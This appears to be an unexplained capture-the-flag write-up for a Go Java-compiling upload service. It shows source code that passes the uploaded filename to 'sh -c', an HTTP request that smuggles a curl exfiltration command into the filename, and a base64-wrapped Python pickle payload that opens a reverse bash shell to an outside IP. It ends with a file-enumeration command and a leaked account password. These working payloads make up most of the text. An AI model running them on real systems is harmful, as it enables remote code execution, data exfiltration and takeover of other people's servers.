package main

import (
    "io"
    "log"
    "mime/multipart"
    "net/http"
    "os"
    "strings"
)

var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}

func main() {
    // 设置路由
    http.HandleFunc("/gojava", compileJava)

    // 设置静态文件服务器
    fs := http.FileServer(http.Dir("."))
    http.Handle("/", fs)

    // 启动服务器
    log.Println("Server started on :80")
    log.Fatal(http.ListenAndServe(":80", nil))
}

func isFilenameBlacklisted(filename string) bool {
    for _, char := range filename {
        for _, blackChar := range blacklistChars {
            if char == blackChar {
                return true
            }
        }
    }
    return false
}

func compileJava(w http.ResponseWriter, r *http.Request) {
    // 检查请求方法是否为POST
    if r.Method != http.MethodPost {
        http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
        return
    }

    // 解析multipart/form-data格式的表单数据
    err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
    if err != nil {
        http.Error(w, "Error parsing form", http.StatusInternalServerError)
        return
    }

    // 从表单中获取上传的文件
    file, handler, err := r.FormFile("file")
    if err != nil {
        http.Error(w, "Error retrieving file", http.StatusBadRequest)
        return
    }
    defer file.Close()

    if isFilenameBlacklisted(handler.Filename) {
        http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
        return
    }
    if !strings.HasSuffix(handler.Filename, ".java") {
        http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
        return
    }
    err = saveFile(file, "./upload/"+handler.Filename)
    if err != nil {
        http.Error(w, "Error saving file", http.StatusInternalServerError)
        return
    }
}

func saveFile(file multipart.File, filePath string) error {
    // 创建目标文件
    f, err := os.Create(filePath)
    if err != nil {
        return err
    }
    defer f.Close()

    // 将上传的文件内容复制到目标文件中
    _, err = io.Copy(f, file)
    if err != nil {
        return err
    }

    return nil
}

POST /gojava HTTP/1.1
Host: hnctf.imxbt.cn:44579
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 638
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1CXJPPM2cLJ87r3R
Cookie: PHPSESSID=7ok9hdafdr8rb3podk5s9e4vt6
Origin: http://hnctf.imxbt.cn:44579
Referer: http://hnctf.imxbt.cn:44579/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest

------WebKitFormBoundary1CXJPPM2cLJ87r3R
Content-Disposition: form-data; name="file"; filename="a.java||curl -X POST -d a=`whoami` [Your-IP]:8888||.java"
Content-Type: application/octet-stream

1
------WebKitFormBoundary1CXJPPM2cLJ87r3R--

filename="a.java||curl -X POST -d a=`ls|base64 -w 0` [IP]:8888||.java"

css
final
go.mod
gojava
index.html
js
main-old.zip
main.go
robots.txt
upload

package main

import (
 "fmt"
 "io"
 "log"
 "math/rand"
 "mime/multipart"
 "net/http"
 "os"
 "os/exec"
 "path/filepath"
 "strconv"
 "strings"
 "time"
)

var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}

func main() {
 // 设置路由
 http.HandleFunc("/gojava", compileJava)
 http.HandleFunc("/testExecYourJarOnServer", testExecYourJarOnServer)

 // 设置静态文件服务器
 fs := http.FileServer(http.Dir("."))
 http.Handle("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
  // 检查请求的路径是否需要被禁止访问
  if isForbiddenPath(r.URL.Path) {
   http.Error(w, "Forbidden", http.StatusForbidden)
   return
  }

  // 否则，继续处理其他请求
  fs.ServeHTTP(w, r)
 }))

 // 启动服务器
 log.Println("Server started on :80")
 log.Fatal(http.ListenAndServe(":80", nil))
}

func isForbiddenPath(path string) bool {
 // 检查路径是否为某个特定文件或文件夹的路径
 // 这里可以根据你的需求进行设置
 forbiddenPaths := []string{
  "/main.go",
  "/upload/",
 }

 // 检查请求的路径是否与禁止访问的路径匹配
 for _, forbiddenPath := range forbiddenPaths {
  if strings.HasPrefix(path, forbiddenPath) {
   return true
  }
 }

 return false
}

func isFilenameBlacklisted(filename string) bool {
 for _, char := range filename {
  for _, blackChar := range blacklistChars {
   if char == blackChar {
    return true
   }
  }
 }
 return false
}

// compileJava 处理上传并编译Java文件的请求
func compileJava(w http.ResponseWriter, r *http.Request) {
 // 检查请求方法是否为POST
 if r.Method != http.MethodPost {
  http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
  return
 }

 // 解析multipart/form-data格式的表单数据
 err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
 if err != nil {
  http.Error(w, "Error parsing form", http.StatusInternalServerError)
  return
 }

 // 从表单中获取上传的文件
 file, handler, err := r.FormFile("file")
 if err != nil {
  http.Error(w, "Error retrieving file", http.StatusBadRequest)
  return
 }
 defer file.Close()

 if isFilenameBlacklisted(handler.Filename) {
  http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
  return
 }

 // 检查文件扩展名是否为.java
 if !strings.HasSuffix(handler.Filename, ".java") {
  http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
  return
 }

 // 保存上传的文件至./upload文件夹
 err = saveFile(file, "./upload/"+handler.Filename)
 if err != nil {
  http.Error(w, "Error saving file", http.StatusInternalServerError)
  return
 }

 // 生成随机文件名
 rand.Seed(time.Now().UnixNano())
 randomName := strconv.FormatInt(rand.Int63(), 16) + ".jar"

 // 编译Java文件
 cmd := "javac ./upload/" + handler.Filename
 compileCmd := exec.Command("sh", "-c", cmd)
 //compileCmd := exec.Command("javac", "./upload/"+handler.Filename)
 compileOutput, err := compileCmd.CombinedOutput()
 if err != nil {
  http.Error(w, "Error compiling Java file: "+string(compileOutput), http.StatusInternalServerError)
  return
 }

 // 将编译后的.class文件打包成.jar文件
 fileNameWithoutExtension := strings.TrimSuffix(handler.Filename, filepath.Ext(handler.Filename))
 jarCmd := exec.Command("jar", "cvfe", "./final/"+randomName, fileNameWithoutExtension, "-C", "./upload", strings.TrimSuffix(handler.Filename, ".java")+".class")
 jarOutput, err := jarCmd.CombinedOutput()
 if err != nil {
  http.Error(w, "Error creating JAR file: "+string(jarOutput), http.StatusInternalServerError)
  return
 }

 // 返回编译后的.jar文件的下载链接
 fmt.Fprintf(w, "/final/%s", randomName)
}

// saveFile 保存上传的文件
func saveFile(file multipart.File, filePath string) error {
 // 创建目标文件
 f, err := os.Create(filePath)
 if err != nil {
  return err
 }
 defer f.Close()

 // 将上传的文件内容复制到目标文件中
 _, err = io.Copy(f, file)
 if err != nil {
  return err
 }

 return nil
}

func testExecYourJarOnServer(w http.ResponseWriter, r *http.Request) {
 jarFile := "./final/" + r.URL.Query().Get("jar")

 // 检查是否存在指定的.jar文件
 if !strings.HasSuffix(jarFile, ".jar") {
  http.Error(w, "Invalid jar file format", http.StatusBadRequest)
  return
 }

 if _, err := os.Stat(jarFile); os.IsNotExist(err) {
  http.Error(w, "Jar file not found", http.StatusNotFound)
  return
 }

 // 执行.jar文件
 cmd := exec.Command("java", "-jar", jarFile)
 output, err := cmd.CombinedOutput()
 if err != nil {
  http.Error(w, "Error running jar file: "+string(output), http.StatusInternalServerError)
  return
 }

 // 输出结果
 w.Header().Set("Content-Type", "text/plain")
 w.Write(output)
}

import base64
opcode=b'''cos
system
(S'bash -c "{echo,cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiWW91ciBJUCIsODg4OCkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bigiYmFzaCIpJw==}|{base64,-d}|{bash,-i}"'
tR.'''
opcode = base64.b64encode(opcode).decode("utf-8")
print(opcode)

Y29zCnN5c3RlbQooUydiYXNoIC1jICJ7ZWNobyxjSGwwYUc5dU15QXRZeUFuYVcxd2IzSjBJRzl6TEhCMGVTeHpiMk5yWlhRN2N6MXpiMk5yWlhRdWMyOWphMlYwS0NrN2N5NWpiMjV1WldOMEtDZ2lORGN1TVRFMUxqSXdOQzR4TURFaUxEZzRPRGdwS1R0YmIzTXVaSFZ3TWloekxtWnBiR1Z1YnlncExHWXBabTl5SUdZZ2FXNG9NQ3d4TERJcFhUdHdkSGt1YzNCaGQyNG9JbUpoYzJnaUtTYz19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfSInCnRSLg==

find / -type f -user ctfgame -readable 2>/dev/null

From root,
To ctfgame(ctfer),

You know that I'm giving you permissions to make it easier for you to build your website, but now your users have been hacked.

This is the last chance, please take care of your security, I helped you reset your account password.

ctfer : KbsrZrSCVeui#+R

I hope you cherish this opportunity.